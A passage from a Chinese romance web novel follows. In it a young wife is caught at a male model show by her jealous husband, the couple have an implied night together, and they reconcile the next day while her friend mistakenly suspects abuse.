江棠梨和廖妍对视一眼后,噗嗤笑出声来。 方以柠手指指她:“我告诉你,看完咱就走,那些乱七八糟的东西,你想都别想。” 见她起身,江棠梨忙拉住她手腕:“你干嘛去?” 晚上吃烧烤喝了不少饮料,这会儿一股酸胀憋到小腹。 方以柠拍掉她手:“我去洗洗眼睛!” 观众席一片昏暗,方以柠猫着腰,好不容易才从一排膝盖前溜出去,结果转了几圈没看见洗手间的标志。 “什么鬼地方,不知道人有三急吗?” “女士。” 方以柠扭头,只见一个戴着口罩的男人倚在墙边,在看自己。 “你在跟我说话?” 楼昭弯着他那双标志的丹凤眼:“在找洗手间?” 听他这么说,方以柠来不及打量,忙小碎步跑过去:“在哪” 楼昭手指出口方向:“出门右转,过马路往东300米。” 还要过马路? 方以柠愣了一下:“这里没有?” 见他摇头,方以柠气笑一声。 两万块一个小时,竟然连洗手间都不提供! 简直骗人钱! 刚一转身,身后又传来声音。 “女士,临走前别忘了取走您的手机。” 方以柠皱了下眉,回头看他。 楼昭解释:“入场须知有注明,中途离场是不可以再进来的。”他低头看了眼时间:“当然,如果您不是很急的话,可以等结束——” “你谁啊?” 楼昭一时语塞。 方以柠将他上上下下打量一个来回,“老板还是工作人员?” “我是谁不重要,”楼昭避重就轻:“入场须知已经提前告知——” “我没聋,”方以柠面无表情地打断他:“我就问你,你是工作人员还是老板?” 连Lounge老板的身份都没有对外公开,更何况是今天这样的场合。 楼昭笑了笑:“我什么都不是。” “那你跟我说这么多?” 楼昭觉得这个女人有点不识好人心,“我只是友情提示。” 信他还有鬼了呢。 方以柠看别的不在行,但是看物识人还是有一手的。 W家的高定,限量的腕表,衬衫领口下别的一条钻石链怕是都能买一辆车了。 不会是一般的工作人员,更不会是客人,因为今天这场男模秀是禁止男人入内的。 视线落到他面上的黑色口罩,这么怕被人认出来,想必是幕后老板了? 方以柠抱着胳膊一步步朝他走过来:“中途不给离场我理解,但两万块一个小时,却连洗手间都不提供。” 方以柠朝他笑了笑:“你说我打给哪个举报热线好呢?” 口罩下是冷硬的轮廓,但却露出一双笑不笑都勾人的的丹凤眼。 自从沾手酒吧这一行业,楼昭算是知道,相比男人在商场上的狡诈手段,有些女人才更难缠。 所以面对这种难缠的客人,楼昭向来不给对方得寸进尺的可能。 “不知女士如何称呼。” 入场时连身份证信息都录入了,如今报出名字又算什么。 “方以柠。” 楼昭点了点头:“方女士,目前并没有明确的法律法规要求娱乐场所必须配备卫生间。” “的确,卫生间是不在法律法规里,可色/情场所呢?也没人管吗?” 色/情场所? 别说他这里不是她口中的污秽之地,就算是。 楼昭腰身一弯,视线攫进她眼神深处:“难道方小姐不是奔着这个来的吗?” 方以柠顿时脸红到脖颈:“你、你少血口喷人!” 楼昭直起腰,他身量很高,挡住了从上方打来的灯光,但却挡不住他眼底的冷然。 “如果方女士以后还想继续出入这种娱乐场所,还望都给彼此留几分薄面。” 方以柠先是一愣,继而气笑一声:“你威胁我?” “不敢,只是温馨提示而已,方女士可不要误会我的好意。” 这要是在京市,方以柠万不会吃他这个哑巴亏。 她袖子一挥:“你给我等着!” 转身间,她又气得右脚一跺:“梨梨!梨梨!” 楼昭眉心卷了一下。 梨梨? 是重名? 如果是最好,如果不是 楼昭大步走向观众区。 两百多名的观众席,光线昏暗,楼昭寻了半天没寻到。 是巧合吗? 他不做这种假设,直接拨通电话:“查一下,今晚的入场名单里有没有一个叫江棠梨的人。” 很快,话筒那边回复:“楼总,有的。” 身份证是电子录入,不单单只有名字。 楼昭问:“住址是哪里?” 意料之外不是京市,但对方报的地址却是比京市更加有说服力的璞玺园。 没想到电话里的玩笑竟然成了真。 不过楼昭可一点都笑不出来,这要是被陆时聿知道,吃不了兜着走的就不是她江棠梨,而是他楼昭了。 所以要瞒着? 楼昭看了眼时间,都这个点了还不回家,难不成不知道陆时聿今晚回来?还是说,又开始玩不接电话的把戏? 想到电话,楼昭暗叫一声不好。 入场的客人,手机都上交了。 那他这罪名可就又要加一个了。 来不及去想十全十美的解决办法,楼昭决定先从陆时聿那里探探口风。 要是他还什么都没怀疑,那他就帮着瞒着。 要是已经怀疑,那他就立马进去找人。 没想到,手指刚一点进最近通话,‘曹操’的电话就打了进来。 “出来。” 楼昭:“” 完蛋,这人是追踪器吗? 与悄寂的夜相比,此时的观众席正爆发出一阵又一阵的尖叫声。 T台上方泼洒下来的金粉,抖落在那一块块绷紧的胸肌之上。 方以柠只觉得耳膜都要被震穿了。 然而坐她旁边的人,却双手撑在嘴边,正尖叫呐喊。 “三号三号三号——” “要不要给你买回家慢慢看?” 耳边突然窜进来的男声,让江棠梨浑身一僵,缓缓转头—— 和那双漆黑不见底的眼睛一对上,江棠梨身子骨一软。 手里的操作器掉到了地上,她半边身子都瘫向了方以柠那边。 “嗳,你坐好——” 随着方以柠抬眼看过去,后面的话瞬间就被她咽了回去。 同时发现不对劲的还有廖妍,她可没方以柠那么淡定,瞬间站了起来:“陆、陆总” 陆时聿仿若未闻,压着腰,一手搭在江棠梨所坐的椅背上,就这么一言不发地和她对视。 光线暗到看不清他的表情,但是能深切感受到盘旋在他周身的低气压。以及他眼底压着沉沉一层暗色,晦暗得好像暴风雨下一秒就要卷来。 虽然腿打软,腰也直不起。 所幸身体不受控制,大脑还能迅速运转。 “老公。” 陆时聿嘴角抬一味笑:“原来陆太太还知道自己有老公。” 江棠梨:“” 方以柠已经看不下去了,小声在她头顶:“越软越让他觉得你心虚。” 江棠梨:“” 所以要硬气一点? 可是在这种场合被逮了个现行,她哪里硬得起来! 江棠梨不听她的,继续一张委屈脸:“老公。” 见他面色没有一丝动容,江棠梨又换了个第三声:“老公~” 方以柠鸡皮疙瘩掉一地,索性抗下所有:“是我带她来的,陆总要怪就怪我吧!” 然而陆时聿却一个眼神都没落到她脸上。就这么凝眸看着江棠梨,又一阵尖叫声里,陆时聿眉梢微挑:“三号是吧?” 江棠梨茫然地眨了眨眼:“什、什么?” “价高者得,今晚三号归陆太太了。” 江棠梨来不及想他是揶揄还是讽刺又或者试探,第一时间就把头摇成了拨浪鼓:“我、我不要!” “现在说不要?”他眼底深邃似谭:“晚了。” 他直起腰:“三号包厢见,陆、太、太。” 第62章 眼看他那挺拔的背影在一片暗色里转了个弯消失,江棠梨瞬间坐正了。 “他怎么知道我在这?” 方以柠摇头。 廖妍更是摇头加摆手:“你别看我,我可谁都没说!” “那真是见了鬼了!” 江棠梨眉心都要拧到一块儿去了,大脑一阵高速运转后,她眼皮一掀:“难不成这里的老板认识我,然后看见我的身份证信息,然后给他通风报信的?” 方以柠顿时想到在走廊上遇到的男人。 “那他朋友里有没有一个单眼皮的?” “单眼皮?” 对方戴着口罩,方以柠只能又从身形上描述:“挺高的,跟你家陆时聿差不多。” 但是陆时聿的朋友里,江棠梨就只认识一个楼昭。 想到楼昭的那双丹凤眼,江棠梨倒吸一口气:“是不是长得妖里妖气的?” 方以柠立马点头:“对对对!” 江棠梨咬了咬牙:“怎么哪里都有他!” 方以柠听出隐情:“你和那个男的不对付?” 说不对付倒也算不上,但是江棠梨能感觉那个姓楼的对自己颇有成见,想来或许是第一次见面很不愉快的缘故。 不过现在不是聊这个人的时候。 江棠梨一双眼带着征求看着她俩:“所以一会儿我要不要去包厢?” 廖妍说去。 方以柠说不要去。 廖妍觉得:“他这会儿肯定在气头上,你要是再放他鸽子,那他不是更生气吗?” 方以柠不这么认为:“我觉得他是故意试探你,而且他刚刚的意思你没听懂吗,包厢里不仅有他,还有上面那个三号!” 江棠梨觉得她们说的都有道理,所以综合起来 “我不去,但是我也不走,我就在楼下等他,怎么样?” 方以柠觉得可行。 廖妍还是摇头:“但是这样不是很被动吗,要是我,我就去,进去之后,直接把三号撵滚蛋!” 方以柠眼睛一亮:“这个办法好诶!” 江棠梨却撇嘴:“人家三号做错什么了?” 廖妍抿嘴笑:“拜托,都什么时候了你还有心思为人家着想,你自己先全身而退再说吧!” “就是,”方以柠一脸嫌弃:“一群鸭子,有什么好心疼的!” 江棠梨吃了一惊看她:“到底谁跟你说人家是鸭子的呀?” “不是吗,都价高者得了,都跟人进包厢了,不是鸭子还能是天鹅啊?” 廖妍在一旁笑得肩膀直颤,“拜托,上面那12位可都是去年入选咱们海市前二十名的最美身体,人家都是持照的。” “什么东西?” “最、美、身、体,”廖妍一字一顿,“就比如世界小姐的那种比赛。” 方以柠简直闻所未闻:“你们海市当地自己的比赛?” 廖妍点头:“对呀。” 方以柠“啧”了声:“你们海市可真会玩。” 说到这,她又想不通了:“既然不是干那行的,那还去包厢干嘛?” 不等廖妍答她,欢呼呐喊声四起。 江棠梨往台上看了眼,这才发现十二个花儿一样的身体已经分成两列即将消失于T台。 灯光渐暗,最后一缕追光熄灭,T台彻底沉入寂静,只留下荷尔蒙在空气中灼烧的痕迹。 方以柠赶在灯光亮起前,把江棠梨连帽卫衣上的帽子给她卡过了头顶。 她一个连男朋友都没有的人无所谓,可身边这位可是个手拿结婚证就差一场婚礼的陆家准少奶奶。 “幸亏手机不给带进来,不然被拍到,你就惨了!” 江棠梨正在急中生智想对策,扭头看她时,表情懵懵的。 看得方以柠心一疼:“没事没事,有我在呢,那家伙要是敢动你一根手指头,我就跟他拼了!” 江棠梨脑海里浮现那张总是挂着清淡笑痕的脸。 那样一个温润如玉的人,会对她动粗吗? 座椅翻转声,衣料摩擦声,还有从前面传来的零星议论。 三人一身黑衣地跟在两个香槟小金裙的女人后面。 “柔道和瑜伽,你感觉哪个更舒服?” “当然是柔道了。” “我还想试试瑜伽呢。” 方以柠真就以为前面这两人说的是柔道和瑜伽,结果又听—— “四十万换来和你盘膝对坐,亏死你!” “所以你上次才花四十万?” 一阵咯咯笑音里—— “那难怪盘膝对坐了,你知道我今晚多少?” 方以柠歪着脑袋看见女人竖起一根食指。 竟然真有冤大头出一百万买一夜春宵。 方以柠替女人心疼的同时突然想起那双单眼皮。 “禽兽!” 江棠梨扭头看她:“你骂谁呢?” “还能有谁?”方以柠咬牙:“就你家那位的朋友!” 江棠梨:“” 方以柠想不通:“你说陆——”她忙改口:“你家那位怎么会和那种人渣是朋友?” 江棠梨觉得她的义愤填膺有点过了头:“你对他的意见好像比我还大。” 方以柠也是个好面子的,不说自己吃的瘪:“这种钱都挣,就该被抓起来!” 江棠梨抿嘴笑:“你听说过楼安生物吗?” 国内生物医疗的老大,方以柠一点都不陌生。 “当然听过了,怎么了?” “那楼昭这个人,你知道吗?” 方以柠熟知金字塔中部以上的人物网。 “不就那个医学界的奇才,楼建翔的儿子吗?” “说直白一点,楼安生物就是他家的。” 江棠梨点头:“所以在你的印象里,这种人应该是什么样的?” 据方以柠了解的,那个楼昭可不是游走在商业场上,而是整日泡在实验室。 这样的男人 “肯定架着一副厚厚的眼睛,白大褂,整天见不到阳光肯定有一种病态的白,十有八九还会有颈椎病,实验室那种地方一忙就是几天几夜,说不好还有胃病——” “嫂子。” 江棠梨闻声看过去。 稳重西装、一脸匪气。 真是说曹操曹操到。 江棠梨敷衍地回了句:“楼总,这么巧。” 当然不是巧合,是楼昭特意在这里等她,以为她会像只瑟瑟发抖的小山雀被陆时聿揪出来,结果呢,某人乌压压地沉着一张脸出来了好半天,她竟然还有闲情逸致一直待到散场。 楼昭是打心里佩服她的心理素质。 当然,但这也意味着,他那个老友在这段感情里,完全出于劣势。 所以在她这一道尾音微扬,甚至带着几分耀武扬威的话里,楼昭突然有一种不好的预感。 而这危机感,也有一半来自于她身边的那位,半小时前被他不算恶意警告过的方女士。 只是没想到,之前还给尽他冷眼的女人,这会儿,盯着他看的眼神里满是不可置信的诧异,甚至是惊恐。 视线从方以柠脸上错开后,楼昭走到江棠梨面前:“他在三楼。” 江棠梨站着没动,就这么看着他,四五秒的对视后,她突然垂眸笑了声,只是再抬头,她眼神就变了。 “楼总打开门做生意,我江棠梨花钱来捧场,”她眼里是明晃晃的讽刺:“楼总不说一声欢迎光临也就算了,竟然还摆我一道。” 楼昭听出来了,这是把今晚抓包的帽子扣他头上来了。 不想解释,却又不得不解释。 “我楼昭虽然算不上什么君子,但也不屑去做小人,站在朋友的立场,我从始至终都希望你和陆时聿百年好合。这一点,还请嫂子放心。” 话说得倒是漂亮。 江棠梨笑了笑:“那倒是我小心之心度君子之腹了。” “嫂子如果非要把这帽子扣我头上,那我没什么好解释的,但我想问一句,我这么做有什么好处吗?” “好处这个东西因人而异,也许有些人就是喜欢唯恐天下不乱呢?” 说完,江棠梨扭头看向方以柠,见她还是一脸怔愣,江棠梨视线睇向廖妍:“你们出去等我一会儿。” 方以柠这才回过神,手不安地拽了拽她的衣摆:“你一个人可以吗?” 江棠梨心里已经有了对策:“多大点事儿。” 说完,她歪头看向楼昭:“还请楼总带路。” 今天这秀场是设在郊区的一处私人会所内,两栋楼,五层高,两边用走廊围成一个U字型。 两层楼梯一上,便到了三楼。 楼昭停在楼梯平阶,“往里走,第二个包间便是。” 江棠梨看了他一眼:“来都来了,楼总不去看个热闹吗?” 楼昭实属无奈地摇了摇头:“嫂子,你能别把我当成敌人吗?” 江棠梨“嘁”了声:“不是敌人难道是盟友吗?” 说到这儿,江棠梨刚偏转开的目光重新落到他脸上,默了两秒,她嘴角弯出讳莫如深的笑:“还是说,楼总想弃暗投明?” 弃暗投明四个字,让楼昭眼角眯出警觉。 但见她眼神不躲不闪地与自己对视,楼昭嘴角突然上扬:“我一直都站在明处,只是嫂子没有注意到我罢了。” 江棠梨:“” 果然小看了他。 不过却也因此,让江棠梨对他有了两三分的改观。 “放心,就算咱们做不了朋友,我也不会给我们家时聿吹枕边风的。” 楼昭嘴角弧度蓦然一平。 这女人,是在警告他吗? 有些警告是用说的,有些警告,哪怕只字未说,只是一个眼神,就能让人心生寒颤。 包厢里灯光幽暗,水晶吊灯折射出细碎的光,落在哑黑色的真皮沙发上。 陆时聿一身暗色西装坐在沙发里,修长的手指夹着一支雪茄。 在他对面,十个男人贴着黑色大理石墙面站成一排。 T台上被化作成古铜色河流般的健身肤色,在此时,却不及雪茄上深褐色的茄衣那油润的光泽。 目光轻扫一眼对面,陆时聿含住雪茄,深深吸了一口,火光骤然明亮,随即暗下去,烟雾从唇间溢出,缭绕而上在空气中盘旋。 隔着烟雾,陆时聿似笑非笑地扫视着对面一字排开的男模。 看见那个让江棠梨呐喊着的“三号三号三号”的男人,已经开始紧张地蜷手,陆时聿低笑一声。 就这点胆,也配被她点名。 门就是在这时候被推开的。 陆时聿抬头望过去的同时,江棠梨也一眼看见了他。 平时连烟都不见他抽上一口的人,今天竟然点了雪茄,这让江棠梨意外的同时,也失神在他的慵懒姿态里。 相比她的失神,陆时聿却一双眼审视着她全身。 视频里一身随意家居服的人,如今摇身一变,黑色露腰连帽衫,黑色修身铅笔裤,就连鞋子都是黑色。 如此低调,是怕被别人发现,还是被他发现? 如此地费尽心机,就为了这些虚有其表的腱子肉? 行,既然这么喜欢。 陆时聿抬手将指间那支雪茄丢到了香槟杯里。 余烬在透明色的酒液只挣扎了一瞬便归于沉寂。 没了雪茄,他整个人又如过去一样,君子如兰,温润端方,唯有那双眼,漆黑、沉冷,像蛰伏的兽。 “陆太太,挑一个。”他嗓音低沉,戴着几分戏谑,目光却冷得像淬了冰。 江棠梨愣了一下。 挑? 挑什么? 她往门里迈进一步,不明所以地朝他的视线看过去。 一排赤着上半身的男人,当即让江棠梨倒吸一口气。 以为最多也就一个三号,却怎么都没想到,他会把12个男人全部都喊了进来。 说来也奇怪,走秀时那么的威风凛凛极具压迫感,怎么往包厢里一站,突然多了几分难以言说的小家子气呢? 特别是那肌肉最为纵横贲张的二号,这儿会像是泄了气的皮球。 头低着,腰弓着。 不仅他一个人,剩下的那些也好不到哪儿去。 还有颇让她心仪的三号,生怕浴巾会从腹间掉下去似的,垂在身侧的两手,把浴巾攥得死紧。 而在她打量的间隙里,陆时聿视线几乎分秒不离她的脸。 眉心许久不见展开。 是有多难以抉择? 陆时聿不耐烦地嗤笑一声:“挑好了吗,陆太太。” 江棠梨扭头,见他唇角噙着笑,眼底却沉着化不开的墨色。 就因为几个男模,又打翻了他酝酿了许久的醋坛。 这要是不在回家之前哄好,那她今晚别想睡了。 江棠梨视线不躲不避地迎着他:“是不是挑了就能带走?” 陆时聿眸光猛然一沉:“你最好是能挑出一个满意的来。” 江棠梨小幅度地撇了撇嘴:“你就给句痛快话,是不是挑了就能带走。” 真不知是谁给她的胆子,他让她挑,她就真敢挑。 陆时聿嘴角勾出优雅的危险:“是。” “那行。”江棠梨手一指:“就你吧。” 被她手指直直指向自己。 陆时聿眼角一眯:“你再说一遍。” 江棠梨不理他的警告,把手往下一落:“你走不走?” 陆时聿:“” “不走是吧?”江棠梨身子一转—— “江棠梨!” 咬牙切齿的三个字却又透着浓浓的无奈。 背身而站的人,嘴角弯出狡黠,扭头间,她轻轻一个跺脚。 “人家都困死了!” 若不是嫌这包厢不干净,陆时聿都想把她抓进来就地给办了。 在她那双威逼利诱的撒娇眼神里,陆时聿沉出一口语气,无可奈何地起身。 刚一走到门口,江棠梨就抱住了他胳膊。 “干嘛老拿自己和那些胭脂水粉比!” 陆时聿冷着眼,垂眸看她:“那你倒是喜欢点有水准的!” 厚重的包厢门一关,走廊里悄寂无声。 江棠梨转到他身前抱住他腰:“有水准的不是在这吗?” 见他偏开脸不看自己,江棠梨索性把脸埋他怀里。 “不给哄的话,那我可就去哄别的男——” “你敢!” 余音落地,江棠梨的下巴也被他虎口卡着抬了起来。 “江棠梨,你听好了。” “我对你可以毫无原则和底线,但不保证对别人也是如此。” 他漆黑的瞳仁中翻滚着铺天盖地的浓烈醋意,让江棠梨心中涌出阵阵不安。 “你可不许乱来!” 陆时聿松开虎口,指腹轻揉被他捏红的那一片细肉:“会不会乱来,你可以试试。” 第63章 为了一场只看却连摸都没摸到的男模秀,江棠梨付出了惨痛的代价。 在负一层的健身房,在那台腹肌健身椅上,他躺,她坐。 在那台背肌伸展训练器前,她趴,他站。 他更是抽下今天戴了一整天的冷黑色领带,将她的手绑在了那台杠铃片挂架上。 二楼的花瓣床已经换上,但是陆时聿却径直越过,直接把人抗去了顶楼花房。 子夜的花房像一座水晶宫殿,玻璃穹顶浸在清冷的月光里。 那些白日里娇艳的玫瑰、绣球,此刻都成了银箔剪出的标本。 唇舌勾缠,津涎交融。 不知哪朵花趁着夜色开了,香气在燥热的空气中弥漫。 含羞草被侵犯都会迅速夹紧叶片 骤急的失声划破悄静的夜,也惊动了一只栖息的蓝蝶。 蓝碟展翅,月光映照下,肥厚叶片上坠着的水珠像璀璨的钻石,波光粼粼。 和在健身房一样,一捧接着一捧,被他接连着逼出来。 江棠梨扭头过头来时,眼神含羞,声音气恼:“陆时聿,你混蛋!” 如果只是骂,陆时聿并不会收敛。 但若是她眼里噙着泪,那就不一样了。 因醋意而残留着的那点气性,瞬间消失殆尽,陆时聿俯下身,吻落在她漂亮的蝴蝶骨背。 若是平时,陆时聿真的会因为她的眼泪而放过她,但是今天她犯的错有点严重。 所以对她的你心软成了有效时。 江棠梨不知挺过了几次混沌,她甚至能看见只有在阳光下才会看见的细小尘埃,在分不清是现实还是幻觉的光道里飞舞跳跃。 昏昏欲睡中,有道很轻很轻的声音传进她耳朵里。 “宝贝,明天我们就去日内瓦好不好?” 江棠梨眼睫抖了一下,浅浅一条缝隙里,隐约看见了摆钟上的短针指向四。 是今天,还是明天 可是她太困了,还没来及深想,沉沉睡意就将她仅有的一点神识压了下去。 翌日,哦,准确来说,是当日清晨。 晨光透过纱帘的缝隙,在爬满褶皱的床上投下淡金色的裂痕。 陆时聿已经在十分钟前醒来。 晨起后的时光很宝贵,过去这些年,他从不会把时间逗留浪费在床上,如今可好,熟睡在他怀里的人,一次又一次次地成为他懒床的理由和借口。 陆时聿支着手肘看她。 看她被乏累压弯了的眼睫,看她侧颈里又多出的两处淡红印记。 那侧被晨光舔舐着的肩膀的弧度,将子夜月光下的珍珠色,煅烧成温柔安静的荧肤色。 低头间,他唇贴在了她唇上,只轻轻地贴了一下,然后退开。 每次都很矛盾,既想弄醒她,又怕弄醒她。 但是今天,无论是负一层的健身房,还是顶楼的花房,实在是有多处狼藉需要他亲自去处理。 不过,在走与留的一番斗争里,他终究还是确定了昨晚临时的决定。 不知她会不会听见,也没有再顾及会不会吵醒她,在离身之前,他低声在她耳边耳语了一句。 但是江棠梨实在困倦到极点,侧躺的姿势,从陆时聿下床,一直到日上三竿,她都没有动过一下。 把方以柠等得不知在楼下客厅转悠了多少个来回。 最后实在等得没有耐心,谁知刚一走到楼梯口就被李管家拦住。 “方小姐,陆总临走时交代,非太太自己主动下楼,任何人都不能去打扰她。” 这会儿心疼上了,那昨晚回来的路上还黑着脸。可怜她那向来没多少耐心哄人的闺蜜,低着声、软着调地哄了一路。 某人可好,嘴巴上像是被贴了胶布,硬是一句话都不说。 不说话就算了,下车时还看了她一眼,黑漆漆的一双眼望过来,吓得方以柠以为他是要挥自己一拳,又或者踢自己一脚呢。 要不是怕他晚上会对江棠梨动手,方以柠真想扭头就走。 谁知手机风平浪静了一夜,虽说她心里忐忑,可到底是在人家做客,所以方以柠一直闷在房间里没有出来,最多也就是隔着一道门静听外面的动静,可是离楼上那么远,哪里听得见。 方以柠往楼梯上方瞥了眼,“早上你们陆总走的时候,表情还算正常吗?” 这一点,李管家心里也疑惑。 按理说,昨夜太太又玩起失踪,陆总多多少少会流露出一点情绪,可是没有。 下楼的时候不仅主动跟他这个管家打招呼,还和家里两个阿姨多说了两句话,甚至在用早餐的时候,还吩咐刘厨,说今天一天都不要离开合院,随时给太太准备可口饭菜。 当然,这些想不通理不顺的,李管家自然都是放在心里。 哪怕陆总今天的好心情肉眼可见,李管家也都不会多说一个字。 他甚至岔开话题:“方小姐,如果您觉得无聊,我可以带您去泳池或者咖吧,哦对了,这里还有书吧,都可以用来打发时间。” 方以柠又看一眼时间,还有十分钟就十二点了,她来海市可不是来玩的,是来办正事的。 “那回头等她起来了,你让她给我回个电话吧,我有事要出去一趟。” 毕竟是太太的朋友,李管家不敢怠慢:“正是中午,您还是吃了午饭再走吧。” 方以柠背身摆手:“不了。” 结果回到客房拿上包,刚一走到客厅,身后传来一声尖叫。 吓得方以柠循声就往楼梯方向跑,李管家落后两步跟在她身后。 看见江棠梨双手撑在身后,跌坐在楼梯上,两人都吓了一跳。 方以柠忙扔掉手里的包去扶她:“你可真够可以的,下个楼都能跌倒!” 江棠梨哭丧着脸:“腿软嘛~” 方以柠嫌弃道:“睡到现在,你不是腿软,你是全身都软。” 江棠梨一脸有苦不能说的委屈。 李管家扶也不是,不扶也不是,弯着腰,伸着手:“太太,摔到哪里没有?” 江棠梨已经站了起来,手揉着发疼的屁股,说没事。 李管家放心不下:“我来给陆总打电话。” 不提某人还好,一提,江棠梨顿时气不打一处来:“今天不许他进家门!” 方以柠立马嗅到了不对劲,嗓门顿时一提:“他昨晚对你动手了?” 李管家瞳孔震惊:“方小姐,话不能乱说的。” 虽然不是那种动手,可全身酸酸疼疼的全是拜他所赐。 江棠梨“哼”了声:“反正不许给他打电话!” 话都说到这份上,不打也得打了。 眼看两人上了楼,李管家立马掏出手机。 接到他电话的时候,陆时聿已经在回来的路上。 听见他说太太在楼梯上跌倒,陆时聿拿着手机的手顿时一紧。 “摔下来——” “没有没有没有,”李管家忙打断他:“就是滑坐在了台阶上,没有摔下来。” 陆时聿深吸一口气:“我已经在回去的路上了。” 这通电话,李管家当然不仅仅只是这事,但是能被太太说出口的,到了他嘴里就几经吞吐:“太太、太太她——” “说。” 极具压迫感的一个字顿时让李管家豁了出去:“太太说今天不许你进家门。” 陆时聿眉心深蹙:“原因?” 同样的问题,江棠梨也被正被方以柠追着问。 “为什么不让他进门?” 即便是多年闺蜜,江棠梨也不好意思细说缘由:“你别问了。” 越不让问,方以柠心里的疑团越深:“你跟我说实话,他到底有没有对你动手?” 见她小眼神瞥过来却不说话,方以柠气笑了:“江棠梨,你以前可不是个软柿子,他打你,你就是拿把刀也要和他对着干呐!” 还拿刀呢 江棠梨嘴巴一噘:“那我下辈子的性/福不要啦!” “幸福?你管这叫幸福,他都打你了好吗?你知道这个世界什么样男人最可耻吗?” 江棠梨:“” “除了强/奸就是家暴,知道吗?” 江棠梨没想到她会曲解成这样,拽了拽她的手腕:“你别激动,他没有——” 方以柠挥掉她手:“不行,这事不能这么算了,有第一次就会有第二次。” “以柠——” “你别说话!” 江棠梨:“” 方以柠原地转圈的双脚一停:“给你二哥打电话!” 江棠梨嘴角一僵:“不用吧?” “什么不用?”方以柠整个人处于抓狂状态:“别以为他陆家家大业大,咱们娘家也不是没人好吗?” “不是你想的那样——” 方以柠压根就不听她解释:“你打不打?” 江棠梨也被她的一根筋气到了:“不打!” “行,”方以柠气笑了:“你不打我打!” 见她还真去包里掏手机,江棠梨哪里还坐得出,忙跪膝下床,两腿拉扯得动作大了,大腿根的酸胀顿时让她重重“嘶”了声。 方以柠又赶紧跑过来,见她捂着大腿,“给我看看——” 江棠梨哭丧着的脸一抬:“要不要把腿撑开给你看?” 见她一脸茫然,江棠梨朝她翻了个白眼:“亏你还看过那么多的小电影,非得让我把话挑明嘛?” 方以柠愣了两秒钟才反应过来:“小电影里的女主哪有你这么弱!” 江棠梨用力瞪了她一眼:“你怎么不说那些男的没他那么强呢!” 方以柠:“” 陆时聿赶回来并站在卧室门口的时候,两人正一坐一站地无声对峙着。 虽然不知两人之间发生了什么,但能感觉到浓浓的硝烟在滚烧。 陆时聿敲了敲门。 看见始作俑者,江棠梨气性更大了:“谁让你回来的!” 刺尖尖的嗓门,都快把房顶给掀了。 在李管家那通电话后,陆时聿有认真思考过原因,除了昨晚的逞凶极恶,他想不到还有其他惹她不高兴。 如今看见她和方以柠之间的气氛,他突然就有点不确定了。 但不减他眉眼和唇角的淡笑:“不回来还能去哪?” “你想去哪就去哪!”江棠梨凶巴巴的眼神剜在他脸上:“反正不给回家!” 不确定她的火气到底是冲着他来,还是无辜被殃及池鱼,陆时聿看了眼方以柠。 方以柠现在已经不能直视他了,以至于听见他声音的那一刻,她一双眼就没好意思往门口看。 没辙,陆时聿只能走进去,结果还没走到床边,就被江棠梨用手往地上一指:“就站那儿!” 陆时聿算是知道她和方以柠的关系好到什么程度了,不然她怎么会当着她面这么不给他面子,既是这样,那他也就只能利诱了。 “方小姐,上次的合同,不知你这边还有没有续约的意向。” 方以柠这才抬头看他:“续、续约?” 陆时聿点头:“如果有的话,你和陈秘书约一下时间。” 惊喜来得太过突然,方以柠整个人还有点反应不过来,看一眼江棠梨,又看一眼陆时聿,她眨了眨眼:“你确定,不是在开玩笑吧?” “我从不拿公事开玩笑。” 看他表情的确不像,但谁知道他会不会反悔呢? 江棠梨晃了晃手机:“那我可以现在就联系陈秘书吗?” 她的试探却正中陆时聿的下怀。 “当然,”他侧转过身,是请的手势:“陈秘书就在门口,你也可以现在去找他。” 方以柠几乎是撵着他最后一个字就冲出了卧室。 陆时聿走过去,将门关上后,原地转身:“现在可以过去了吗?” 本来还疑惑他怎么突然给了方以柠这么大一好处,如今听他这么说。 江棠梨朝他不冷不热地笑了声:“陆总可真会收买人心。” 不过陆时聿在意的是她没有说「不可以」。 他走过去,在床边坐下:“因为是你的朋友。” 敢情是在收买她这颗心。 江棠梨把脸一偏:“我朋友多着呢,陆总讨好得过来吗?” “但是能让你当面这么不给老公面子的,怕是没几个吧?” 声音清润又温柔,甚至还能听出些笑意来,可若是细品这句话,又不难听出他对她刚刚态度的不满。 江棠梨看了他一眼。 嘴角笑痕不减,和她对视的那双眼,也是温温柔柔的。 可是经过昨天那场秀,江棠梨已经有点看不清他的真面目了。 说他温柔,他的确是温柔,可在他温柔的皮相下,似乎还有着不容人越拒忤逆的底线。 在今天之前,江棠梨以为自己是那个特例,现在看来,好像并不是。 落差在心头滋长,让她都不敢恃宠而娇了:“对不起,刚刚是我没有注意场合,让陆总——” 话没说完,她下巴就被陆时聿捏抬了起来。 “喊我什么?” 刚刚那句话看似在服软,可一声陆总却又明显在赌气。 不怕他知道,就怕他不知道。 江棠梨任由下巴被他掌控,但却掀着眼皮不看他,甚至还加重语气重复了一遍:“陆总!” 陆时聿低笑一声:“知道我最喜欢你什么吗?” 江棠梨撇嘴。 喜欢她低头,喜欢她服软呗! 男人不都这个德行。 然而陆时聿却在她唇上亲了一下:“就喜欢你这股傲娇,跟谁都不低头的劲儿。” 江棠梨愣住了。 这人怎么总是不按套路出牌? 只是没等她想明白,人就被陆时聿抱到了怀里。 “昨晚临睡前跟你说了什么还记得吗?” “昨晚?”江棠梨拖着调儿:“你确定是昨晚而不是早上?” 陆时聿下巴压她肩膀,失笑一声:“口误。” 想到他从站在门口到现在,嘴角的笑就没停过,江棠梨忍不住为自己全身的酸痛委屈:“自私鬼。” 陆时聿把手轻放在她最不舒服的地方:“所以是因为这事才不让我回家的吗?” 说到这,江棠梨突然鼻子一酸:“你知道我下楼的时候,腿一软,差点就滚下去了吗?” 陆时聿搂在她腰上的手圈紧:“对不起,是我没拿捏好分寸。” “你就是故意,你这是家暴!” 她眼底蒙了厚厚一层雾气,睫毛一眨,眼泪滚了下来。 昨晚她也哭过,但陆时聿却丝毫没有心软,甚至还变本加厉。 但那是在‘床上’,下了床,她流的每一滴泪都像一把刀子戳在他心窝。 “不许哭。” 明明是命令的语气,说的话却是——“不知道我有多害怕你的眼泪?” 江棠梨也不想哭,谁叫他这么害怕她的眼泪。 她不仅哭,还哭得更凶了。 “你还凶人家,人家、人家差点都死掉了~” 如果不加后面那一句,如果她没有捏着嗓子说话。 可是怎么办,明知道她是故意,还是会心疼,还是拿她一丝一毫的办法都没有。 “明天早上七点的飞机,”他只能拿一个小礼物来诱惑她:“带你去看我们日内瓦的新家,好不好?” The end 第64章 江棠梨一共发过1655条微博,第一条微博是高三时发过的一组用瑞士各地美景拼成的九宫格。 